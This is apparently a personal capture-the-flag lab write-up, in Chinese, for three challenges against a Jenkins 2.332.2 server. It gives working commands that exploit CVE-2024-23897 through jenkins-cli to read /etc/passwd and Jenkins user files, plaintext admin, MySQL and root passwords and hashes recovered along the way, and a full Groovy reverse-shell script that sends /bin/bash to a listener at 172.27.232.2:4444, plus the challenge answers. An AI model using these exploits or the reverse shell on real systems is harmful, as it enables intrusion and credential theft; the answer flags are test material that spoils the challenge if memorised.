# Web Range-123-125
## Challenge 123
## Challenge 124
## Challenge 125

* Rustscan
* 
* Nmap
* 
* 

* 沒掃到什麼可用路徑, 8080port是一個jenkins登入頁面, 框架版本是Jetty
* 
* 

* 用metasploit掃出jenkins版本, `2.332.2`
* 

* 參考這篇, 之前打過[HTB的靶機](https://hackmd.io/iA7HK6vETNOmGNcKjukEOQ?view), CVE-2024-23897, 先下載jenkins-cli jar包
* https://0xdf.gitlab.io/2024/02/12/htb-builder.html#authenticate-jenkins-access
* https://github.com/AiK1d/CVE-2024-23897/blob/main/jenkins-cli.jar

* 任意讀檔
* 

java -jar jenkins-cli.jar -s 'http://10.10.1.194:8080' -auth admin:BmHRA0Q7ZnP1g56 connect-node '@/etc/passwd'

* Hostname is `JenRunn2`
* 

 java -jar jenkins-cli.jar -s 'http://10.10.1.194:8080' help '@/etc/hostname a'

* 忘記有開ftp, 有個壓縮檔
* 
* 有一組mysql credential
* 
* `root:PoFwwIe8$d!TiL*Fw`

* 主要有這個 `.git`資料夾
* 

* OK, found admin password for jenkins
* 
* `admin:BmHRA0Q7ZnP1g56`
* `root:PFDqTiLFWAd!wIe8#@`

git diff-tree -p HEAD

* 在 `/var/lib/jenkins/users/users.xml`看到一些資訊
* 

java -jar jenkins-cli.jar -s 'http://10.10.1.194:8080' -auth admin:BmHRA0Q7ZnP1g56 reload-job '@/var/lib/jenkins/users/users.xml'

* 繼續往下挖在`config.xml`挖到password hash
* 
* 

* 找到一組密碼, 但是長度很長不知道用在哪
* 
* `12xcn2hbOv/+pT4ef/w/28TosA9gAZ2T4woxsLtk38S1A/SzH2j4sV0MmqOrHDuIx1QFPUz81n0cwPK5C7ZoIkTG0bDLkuGg+wy+kO1pmGjiDoCSd1I5kNxR9ORc/2ezetfjhF8sy5j6Q8IDL69n5i9ynPYzgOBpanuOCaLOEVV/VZY36LcRbHEmmungPuZ7`

## 之前打過的Groovy Script RCE
* 

* 也根據這篇打Jenkins的各種姿勢, 利用Groovy script拿到shell
* https://github.com/gquere/pwn_jenkins
* 
* 

String host="172.27.232.2";
int port=4444;
String cmd="/bin/bash";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

* `/var/www/html/index.html` 又找到一組hash
* 
* `464e0fb146194482a3ab153fc11e6346175a63f0`

* ok, 之前 `git log`那組root帳號直接可以 `su root`, 他根本沒開ssh = =
* 

## Answer
* Challenge 123:`admin and BmHRA0Q7ZnP1g56`
* Challenge 124:`Jen_Runn_2_ZFCQ`
* 題目說叫file.txt結果答案是flag.txt??
* 

* Challenge 125:`FZCQ_passwd_root`